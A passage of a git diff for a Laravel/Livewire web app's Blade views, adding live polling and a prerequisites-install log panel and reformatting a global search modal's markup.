+                } else if (message.length == 2) {
+                    window.toast(message[0], {
+                        type: 'success',
+                        description: message[1],
+                    })
+                }
+            })
+        });
+    </script>
+</body>
 @show
 
-</html>
+</html>
\ No newline at end of file
diff --git a/resources/views/livewire/activity-monitor.blade.php b/resources/views/livewire/activity-monitor.blade.php
index 83f1ee5e3..386d8622d 100644
--- a/resources/views/livewire/activity-monitor.blade.php
+++ b/resources/views/livewire/activity-monitor.blade.php
@@ -5,7 +5,7 @@
 ])>
     @if ($activity)
         @if (isset($header))
-            <div class="flex gap-2 pb-2 flex-shrink-0">
+            <div class="flex gap-2 pb-2 flex-shrink-0" @if ($isPollingActive) wire:poll.1000ms @endif>
                 <h3>{{ $header }}</h3>
                 @if ($isPollingActive)
                     <x-loading />
diff --git a/resources/views/livewire/boarding/index.blade.php b/resources/views/livewire/boarding/index.blade.php
index 81873c892..ec344e552 100644
--- a/resources/views/livewire/boarding/index.blade.php
+++ b/resources/views/livewire/boarding/index.blade.php
@@ -546,6 +546,13 @@ class="p-6 bg-neutral-50 dark:bg-coolgray-200 rounded-lg border border-neutral-2
                                 </div>
                             </div>
 
+                            @if ($prerequisiteInstallAttempts > 0)
+                                <div class="p-6 bg-neutral-50 dark:bg-coolgray-200 rounded-lg border border-neutral-200 dark:border-coolgray-400">
+                                    <h3 class="font-bold text-black dark:text-white mb-4">Installing Prerequisites</h3>
+                                    <livewire:activity-monitor header="Prerequisites Installation Logs" :showWaiting="false" />
+                                </div>
+                            @endif
+
                             <x-slide-over closeWithX fullScreen>
                                 <x-slot:title>Server Validation</x-slot:title>
                                 <x-slot:content>
diff --git a/resources/views/livewire/global-search.blade.php b/resources/views/livewire/global-search.blade.php
index 7a9868c06..01d3131f6 100644
--- a/resources/views/livewire/global-search.blade.php
+++ b/resources/views/livewire/global-search.blade.php
@@ -254,7 +254,8 @@
             class="fixed top-0 left-0 z-99 flex items-start justify-center w-screen h-screen pt-[10vh]">
             <div @click="closeModal()" class="absolute inset-0 w-full h-full bg-black/50 backdrop-blur-sm">
             </div>
-            <div x-show="modalOpen" x-trap.inert="modalOpen" x-init="$watch('modalOpen', value => { document.body.style.overflow = value ? 'hidden' : '' })"
+            <div x-show="modalOpen" x-trap.inert="modalOpen"
+                x-init="$watch('modalOpen', value => { document.body.style.overflow = value ? 'hidden' : '' })"
                 x-transition:enter="ease-out duration-200" x-transition:enter-start="opacity-0 -translate-y-4 scale-95"
                 x-transition:enter-end="opacity-100 translate-y-0 scale-100" x-transition:leave="ease-in duration-150"
                 x-transition:leave-start="opacity-100 translate-y-0 scale-100"
@@ -271,8 +272,7 @@ class="fixed top-0 left-0 z-99 flex items-start justify-center w-screen h-screen
                         </svg>
                         <svg x-show="isLoadingInitialData" x-cloak class="animate-spin h-5 w-5 text-warning"
                             xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24">
-                            <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
-                                stroke-width="4">
+                            <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor" stroke-width="4">
                             </circle>
                             <path class="opacity-75" fill="currentColor"
                                 d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
@@ -311,8 +311,8 @@ class="mt-2 bg-white dark:bg-coolgray-100 rounded-lg shadow-xl ring-1 ring-neutr
                                                 class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
                                                 <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
                                                     viewBox="0 0 24 24" stroke="currentColor">
-                                                    <path stroke-linecap="round" stroke-linejoin="round"
-                                                        stroke-width="2" d="M15 19l-7-7 7-7" />
+                                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                        d="M15 19l-7-7 7-7" />
                                                 </svg>
                                             </button>
                                             <div>
@@ -327,13 +327,11 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
                                             </div>
                                         </div>
                                         @if ($loadingServers)
-                                            <div
-                                                class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
-                                                <svg class="animate-spin h-5 w-5 text-yellow-500"
-                                                    xmlns="http://www.w3.org/2000/svg" fill="none"
-                                                    viewBox="0 0 24 24">
-                                                    <circle class="opacity-25" cx="12" cy="12" r="10"
-                                                        stroke="currentColor" stroke-width="4"></circle>
+                                            <div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
+                                                <svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
+                                                    fill="none" viewBox="0 0 24 24">
+                                                    <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
+                                                        stroke-width="4"></circle>
                                                     <path class="opacity-75" fill="currentColor"
                                                         d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
                                                     </path>
@@ -343,8 +341,7 @@ class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg
                                             </div>
                                         @elseif (count($availableServers) > 0)
                                             @foreach ($availableServers as $index => $server)
-                                                <button type="button"
-                                                    wire:click="selectServer({{ $server['id'] }}, true)"
+                                                <button type="button" wire:click="selectServer({{ $server['id'] }}, true)"
                                                     class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
                                                     <div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
                                                         <div class="flex-1 min-w-0">
@@ -352,8 +349,7 @@ class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg
                                                                 {{ $server['name'] }}
                                                             </div>
                                                             @if (!empty($server['description']))
-                                                                <div
-                                                                    class="text-xs text-neutral-500 dark:text-neutral-400">
+                                                                <div class="text-xs text-neutral-500 dark:text-neutral-400">
                                                                     {{ $server['description'] }}
                                                                 </div>
                                                             @else
@@ -363,10 +359,10 @@ class="text-xs text-neutral-500 dark:text-neutral-400">
                                                             @endif
                                                         </div>
                                                         <svg xmlns="http://www.w3.org/2000/svg"
-                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
-                                                            fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                            <path stroke-linecap="round" stroke-linejoin="round"
-                                                                stroke-width="2" d="M9 5l7 7-7 7" />
+                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
+                                                            viewBox="0 0 24 24" stroke="currentColor">
+                                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                                d="M9 5l7 7-7 7" />
                                                         </svg>
                                                     </div>
                                                 </button>
@@ -388,10 +384,10 @@ class="p-3 bg-red-50 dark:bg-red-900/20 rounded-lg border border-red-200 dark:bo
                                             <button type="button"
                                                 @click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
                                                 class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
-                                                <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
-                                                    fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                    <path stroke-linecap="round" stroke-linejoin="round"
-                                                        stroke-width="2" d="M15 19l-7-7 7-7" />
+                                                <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
+                                                    viewBox="0 0 24 24" stroke="currentColor">
+                                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                        d="M15 19l-7-7 7-7" />
                                                 </svg>
                                             </button>
                                             <div>
@@ -406,13 +402,11 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
                                             </div>
                                         </div>
                                         @if ($loadingDestinations)
-                                            <div
-                                                class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
-                                                <svg class="animate-spin h-5 w-5 text-yellow-500"
-                                                    xmlns="http://www.w3.org/2000/svg" fill="none"
-                                                    viewBox="0 0 24 24">
-                                                    <circle class="opacity-25" cx="12" cy="12" r="10"
-                                                        stroke="currentColor" stroke-width="4"></circle>
+                                            <div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
+                                                <svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
+                                                    fill="none" viewBox="0 0 24 24">
+                                                    <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
+                                                        stroke-width="4"></circle>
                                                     <path class="opacity-75" fill="currentColor"
                                                         d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
                                                     </path>
@@ -422,25 +416,22 @@ class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg
                                             </div>
                                         @elseif (count($availableDestinations) > 0)
                                             @foreach ($availableDestinations as $index => $destination)
-                                                <button type="button"
-                                                    wire:click="selectDestination('{{ $destination['uuid'] }}', true)"
+                                                <button type="button" wire:click="selectDestination('{{ $destination['uuid'] }}', true)"
                                                     class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
-                                                    <div
-                                                        class="flex items-center justify-between gap-3 min-h-[2.5rem]">
+                                                    <div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
                                                         <div class="flex-1 min-w-0">
                                                             <div class="font-medium text-neutral-900 dark:text-white">
                                                                 {{ $destination['name'] }}
                                                             </div>
-                                                            <div
-                                                                class="text-xs text-neutral-500 dark:text-neutral-400">
+                                                            <div class="text-xs text-neutral-500 dark:text-neutral-400">
                                                                 Network: {{ $destination['network'] }}
                                                             </div>
                                                         </div>
                                                         <svg xmlns="http://www.w3.org/2000/svg"
-                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
-                                                            fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                            <path stroke-linecap="round" stroke-linejoin="round"
-                                                                stroke-width="2" d="M9 5l7 7-7 7" />
+                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
+                                                            viewBox="0 0 24 24" stroke="currentColor">
+                                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                                d="M9 5l7 7-7 7" />
                                                         </svg>
                                                     </div>
                                                 </button>
@@ -462,10 +453,10 @@ class="p-3 bg-red-50 dark:bg-red-900/20 rounded-lg border border-red-200 dark:bo
                                             <button type="button"
                                                 @click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
                                                 class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
-                                                <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
-                                                    fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                    <path stroke-linecap="round" stroke-linejoin="round"
-                                                        stroke-width="2" d="M15 19l-7-7 7-7" />
+                                                <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
+                                                    viewBox="0 0 24 24" stroke="currentColor">
+                                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                        d="M15 19l-7-7 7-7" />
                                                 </svg>
                                             </button>
                                             <div>
@@ -480,13 +471,11 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
                                             </div>
                                         </div>
                                         @if ($loadingProjects)
-                                            <div
-                                                class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
-                                                <svg class="animate-spin h-5 w-5 text-yellow-500"
-                                                    xmlns="http://www.w3.org/2000/svg" fill="none"
-                                                    viewBox="0 0 24 24">
-                                                    <circle class="opacity-25" cx="12" cy="12" r="10"
-                                                        stroke="currentColor" stroke-width="4"></circle>
+                                            <div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
+                                                <svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
+                                                    fill="none" viewBox="0 0 24 24">
+                                                    <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
+                                                        stroke-width="4"></circle>
                                                     <path class="opacity-75" fill="currentColor"
                                                         d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
                                                     </path>
@@ -496,18 +485,15 @@ class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg
                                             </div>
                                         @elseif (count($availableProjects) > 0)
                                             @foreach ($availableProjects as $index => $project)
-                                                <button type="button"
-                                                    wire:click="selectProject('{{ $project['uuid'] }}', true)"
+                                                <button type="button" wire:click="selectProject('{{ $project['uuid'] }}', true)"
                                                     class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
-                                                    <div
-                                                        class="flex items-center justify-between gap-3 min-h-[2.5rem]">
+                                                    <div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
                                                         <div class="flex-1 min-w-0">
                                                             <div class="font-medium text-neutral-900 dark:text-white">
                                                                 {{ $project['name'] }}
                                                             </div>
                                                             @if (!empty($project['description']))
-                                                                <div
-                                                                    class="text-xs text-neutral-500 dark:text-neutral-400">
+                                                                <div class="text-xs text-neutral-500 dark:text-neutral-400">
                                                                     {{ $project['description'] }}
                                                                 </div>
                                                             @else
@@ -517,10 +503,10 @@ class="text-xs text-neutral-500 dark:text-neutral-400">
                                                             @endif
                                                         </div>
                                                         <svg xmlns="http://www.w3.org/2000/svg"
-                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
-                                                            fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                            <path stroke-linecap="round" stroke-linejoin="round"
-                                                                stroke-width="2" d="M9 5l7 7-7 7" />
+                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
+                                                            viewBox="0 0 24 24" stroke="currentColor">
+                                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                                d="M9 5l7 7-7 7" />
                                                         </svg>
                                                     </div>
                                                 </button>
@@ -542,10 +528,10 @@ class="p-3 bg-red-50 dark:bg-red-900/20 rounded-lg border border-red-200 dark:bo
                                             <button type="button"
                                                 @click="$wire.set('searchQuery', ''); setTimeout(() => $refs.searchInput.focus(), 100)"
                                                 class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:text-white">
-                                                <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6"
-                                                    fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                    <path stroke-linecap="round" stroke-linejoin="round"
-                                                        stroke-width="2" d="M15 19l-7-7 7-7" />
+                                                <svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none"
+                                                    viewBox="0 0 24 24" stroke="currentColor">
+                                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                        d="M15 19l-7-7 7-7" />
                                                 </svg>
                                             </button>
                                             <div>
@@ -560,13 +546,11 @@ class="text-neutral-600 dark:text-neutral-400 hover:text-neutral-900 dark:hover:
                                             </div>
                                         </div>
                                         @if ($loadingEnvironments)
-                                            <div
-                                                class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
-                                                <svg class="animate-spin h-5 w-5 text-yellow-500"
-                                                    xmlns="http://www.w3.org/2000/svg" fill="none"
-                                                    viewBox="0 0 24 24">
-                                                    <circle class="opacity-25" cx="12" cy="12" r="10"
-                                                        stroke="currentColor" stroke-width="4"></circle>
+                                            <div class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg">
+                                                <svg class="animate-spin h-5 w-5 text-yellow-500" xmlns="http://www.w3.org/2000/svg"
+                                                    fill="none" viewBox="0 0 24 24">
+                                                    <circle class="opacity-25" cx="12" cy="12" r="10" stroke="currentColor"
+                                                        stroke-width="4"></circle>
                                                     <path class="opacity-75" fill="currentColor"
                                                         d="M4 12a8 8 0 018-8V0C5.373 0 0 5.373 0 12h4zm2 5.291A7.962 7.962 0 014 12H0c0 3.042 1.135 5.824 3 7.938l3-2.647z">
                                                     </path>
@@ -576,18 +560,15 @@ class="flex items-center gap-3 p-3 bg-neutral-50 dark:bg-coolgray-200 rounded-lg
                                             </div>
                                         @elseif (count($availableEnvironments) > 0)
                                             @foreach ($availableEnvironments as $index => $environment)
-                                                <button type="button"
-                                                    wire:click="selectEnvironment('{{ $environment['uuid'] }}', true)"
+                                                <button type="button" wire:click="selectEnvironment('{{ $environment['uuid'] }}', true)"
                                                     class="search-result-item w-full text-left block px-4 py-3 min-h-[4rem] hover:bg-yellow-50 dark:hover:bg-yellow-900/20 transition-colors focus:outline-none focus:bg-yellow-100 dark:focus:bg-yellow-900/30 border-b border-neutral-100 dark:border-coolgray-300 last:border-0">
-                                                    <div
-                                                        class="flex items-center justify-between gap-3 min-h-[2.5rem]">
+                                                    <div class="flex items-center justify-between gap-3 min-h-[2.5rem]">
                                                         <div class="flex-1 min-w-0">
                                                             <div class="font-medium text-neutral-900 dark:text-white">
                                                                 {{ $environment['name'] }}
                                                             </div>
                                                             @if (!empty($environment['description']))
-                                                                <div
-                                                                    class="text-xs text-neutral-500 dark:text-neutral-400">
+                                                                <div class="text-xs text-neutral-500 dark:text-neutral-400">
                                                                     {{ $environment['description'] }}
                                                                 </div>
                                                             @else
@@ -597,10 +578,10 @@ class="text-xs text-neutral-500 dark:text-neutral-400">
                                                             @endif
                                                         </div>
                                                         <svg xmlns="http://www.w3.org/2000/svg"
-                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400"
-                                                            fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                            <path stroke-linecap="round" stroke-linejoin="round"
-                                                                stroke-width="2" d="M9 5l7 7-7 7" />
+                                                            class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400" fill="none"
+                                                            viewBox="0 0 24 24" stroke="currentColor">
+                                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                                d="M9 5l7 7-7 7" />
                                                         </svg>
                                                     </div>
                                                 </button>
@@ -639,8 +620,7 @@ class="search-result-item block px-4 py-3 hover:bg-neutral-50 dark:hover:bg-cool
                                                 <div class="flex items-center justify-between gap-3">
                                                     <div class="flex-1 min-w-0">
                                                         <div class="flex items-center gap-2 mb-1">
-                                                            <span
-                                                                class="font-medium text-neutral-900 dark:text-white truncate">
+                                                            <span class="font-medium text-neutral-900 dark:text-white truncate">
                                                                 {{ $result['name'] }}
                                                             </span>
                                                             <span
@@ -661,15 +641,13 @@ class="px-2 py-0.5 text-xs rounded-full bg-neutral-100 dark:bg-coolgray-300 text
                                                             </span>
                                                         </div>
                                                         @if (!empty($result['project']) && !empty($result['environment']))
-                                                            <div
-                                                                class="text-xs text-neutral-500 dark:text-neutral-400 mb-1">
+                                                            <div class="text-xs text-neutral-500 dark:text-neutral-400 mb-1">
                                                                 {{ $result['project'] }} /
                                                                 {{ $result['environment'] }}
                                                             </div>
                                                         @endif
                                                         @if (!empty($result['description']))
-                                                            <div
-                                                                class="text-sm text-neutral-600 dark:text-neutral-400">
+                                                            <div class="text-sm text-neutral-600 dark:text-neutral-400">
                                                                 {{ Str::limit($result['description'], 80) }}
                                                             </div>
                                                         @endif
@@ -677,8 +655,8 @@ class="text-sm text-neutral-600 dark:text-neutral-400">
                                                     <svg xmlns="http://www.w3.org/2000/svg"
                                                         class="shrink-0 h-5 w-5 text-neutral-300 dark:text-neutral-600 self-center"
                                                         fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                        <path stroke-linecap="round" stroke-linejoin="round"
-                                                            stroke-width="2" d="M9 5l7 7-7 7" />
+                                                        <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                            d="M9 5l7 7-7 7" />
                                                     </svg>
                                                 </div>
                                             </a>
@@ -708,16 +686,15 @@ class="search-result-item w-full text-left block px-4 py-3 hover:bg-yellow-50 da
                                                     <div
                                                         class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center">
                                                         <svg xmlns="http://www.w3.org/2000/svg"
-                                                            class="h-5 w-5 text-yellow-600 dark:text-yellow-400"
-                                                            fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                            <path stroke-linecap="round" stroke-linejoin="round"
-                                                                stroke-width="2" d="M12 4v16m8-8H4" />
+                                                            class="h-5 w-5 text-yellow-600 dark:text-yellow-400" fill="none"
+                                                            viewBox="0 0 24 24" stroke="currentColor">
+                                                            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                                d="M12 4v16m8-8H4" />
                                                         </svg>
                                                     </div>
                                                     <div class="flex-1 min-w-0">
                                                         <div class="flex items-center gap-2 mb-1">
-                                                            <div
-                                                                class="font-medium text-neutral-900 dark:text-white truncate">
+                                                            <div class="font-medium text-neutral-900 dark:text-white truncate">
                                                                 {{ $item['name'] }}
                                                             </div>
                                                             @if (isset($item['quickcommand']))
@@ -725,8 +702,7 @@ class="font-medium text-neutral-900 dark:text-white truncate">
                                                                     class="text-xs text-neutral-500 dark:text-neutral-400 shrink-0">{{ $item['quickcommand'] }}</span>
                                                             @endif
                                                         </div>
-                                                        <div
-                                                            class="text-sm text-neutral-600 dark:text-neutral-400 truncate">
+                                                        <div class="text-sm text-neutral-600 dark:text-neutral-400 truncate">
                                                             {{ $item['description'] }}
                                                         </div>
                                                     </div>
@@ -734,8 +710,8 @@ class="text-sm text-neutral-600 dark:text-neutral-400 truncate">
                                                 <svg xmlns="http://www.w3.org/2000/svg"
                                                     class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400 self-center"
                                                     fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                    <path stroke-linecap="round" stroke-linejoin="round"
-                                                        stroke-width="2" d="M9 5l7 7-7 7" />
+                                                    <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2"
+                                                        d="M9 5l7 7-7 7" />
                                                 </svg>
                                             </div>
                                         </button>
@@ -820,8 +796,7 @@ class="search-result-item w-full text-left block px-4 py-3 hover:bg-yellow-50 da
                                                             class="flex-shrink-0 w-10 h-10 rounded-lg bg-yellow-100 dark:bg-yellow-900/40 flex items-center justify-center">
                                                             <svg xmlns="http://www.w3.org/2000/svg"
                                                                 class="h-5 w-5 text-yellow-600 dark:text-yellow-400"
-                                                                fill="none" viewBox="0 0 24 24"
-                                                                stroke="currentColor">
+                                                                fill="none" viewBox="0 0 24 24" stroke="currentColor">
                                                                 <path stroke-linecap="round" stroke-linejoin="round"
                                                                     stroke-width="2" d="M12 4v16m8-8H4" />
                                                             </svg>
@@ -869,14 +844,6 @@ class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400 self-center"
                                     <p class="mt-2 text-xs text-neutral-400 dark:text-neutral-500">
                                         💡 Tip: Search for service names like "wordpress", "postgres", or "redis"
                                     </p>
-                                    <div class="mt-4">
-                                        <a href="{{ route('onboarding') }}" class="inline-flex items-center gap-2 px-4 py-2 text-sm font-medium text-white bg-coollabs dark:bg-warning hover:bg-coollabs-100 dark:hover:bg-warning/90 rounded-lg transition-colors">
-                                            <svg xmlns="http://www.w3.org/2000/svg" class="h-4 w-4" fill="none" viewBox="0 0 24 24" stroke="currentColor">
-                                                <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 6.253v13m0-13C10.832 5.477 9.246 5 7.5 5S4.168 5.477 3 6.253v13C4.168 18.477 5.754 18 7.5 18s3.332.477 4.5 1.253m0-13C13.168 5.477 14.754 5 16.5 5c1.747 0 3.332.477 4.5 1.253v13C19.832 18.477 18.247 18 16.5 18c-1.746 0-3.332.477-4.5 1.253" />
-                                            </svg>
-                                            View Onboarding Guide
-                                        </a>
-                                    </div>
                                 </div>
                             </div>
                         </template>
@@ -897,12 +864,10 @@ class="shrink-0 h-5 w-5 text-yellow-500 dark:text-yellow-400 self-center"
                         if (firstInput) firstInput.focus();
                     }, 200);
                 }
-            })"
-                class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
-                <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
-                    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
-                    x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
-                    x-transition:leave-end="opacity-0" @click="modalOpen=false"
+            })" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
+                <div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
+                    x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
+                    x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
                     class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
                 <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
                     x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -915,8 +880,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
                         <h3 class="text-2xl font-bold">New Project</h3>
                         <button @click="modalOpen=false"
                             class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
-                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
+                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
                             </svg>
                         </button>
@@ -939,12 +904,10 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
                         if (firstInput) firstInput.focus();
                     }, 200);
                 }
-            })"
-                class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
-                <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
-                    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
-                    x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
-                    x-transition:leave-end="opacity-0" @click="modalOpen=false"
+            })" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
+                <div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
+                    x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
+                    x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
                     class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
                 <div x-show="modalOpen" x-trap.inert.noscroll="modalOpen" x-transition:enter="ease-out duration-100"
                     x-transition:enter-start="opacity-0 -translate-y-2 sm:scale-95"
@@ -957,8 +920,8 @@ class="relative w-full py-6 border rounded-sm drop-shadow-sm min-w-full lg:min-w
                         <h3 class="text-2xl font-bold">New Server</h3>
                         <button @click="modalOpen=false"
                             class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5 rounded-full dark:text-white hover:bg-neutral-100 dark:hover:bg-coolgray-300 outline-0 focus-visible:ring-2 focus-visible:ring-coollabs dark:focus-visible:ring-warning">
-                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none"
-                                viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor">
+                            <svg class="w-5 h-5" xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
+                                stroke-width="1.5" stroke="currentColor">
                                 <path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" />
                             </svg>
                         </button>
@@ -981,12 +944,10 @@ class="absolute top-0 right-0 flex items-center justify-center w-8 h-8 mt-5 mr-5
                         if (firstInput) firstInput.focus();
                     }, 200);
                 }
-            })"
-                class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
-                <div x-show="modalOpen" x-transition:enter="ease-out duration-100"
-                    x-transition:enter-start="opacity-0" x-transition:enter-end="opacity-100"
-                    x-transition:leave="ease-in duration-100" x-transition:leave-start="opacity-100"
-                    x-transition:leave-end="opacity-0" @click="modalOpen=false"
+            })" class="fixed top-0 left-0 lg:px-0 px-4 z-99 flex items-center justify-center w-screen h-screen">
+                <div x-show="modalOpen" x-transition:enter="ease-out duration-100" x-transition:enter-start="opacity-0"
+                    x-transition:enter-end="opacity-100" x-transition:leave="ease-in duration-100"
+                    x-transition:leave-start="opacity-100" x-transition:leave-end="opacity-0" @click="modalOpen=false"
                     class="absolute inset-0 w-full h-full bg-black/20 backdrop-blur-xs"></div>
